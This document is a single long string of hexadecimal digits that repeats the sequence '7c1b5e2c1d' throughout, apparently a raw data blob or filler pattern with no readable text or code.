7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d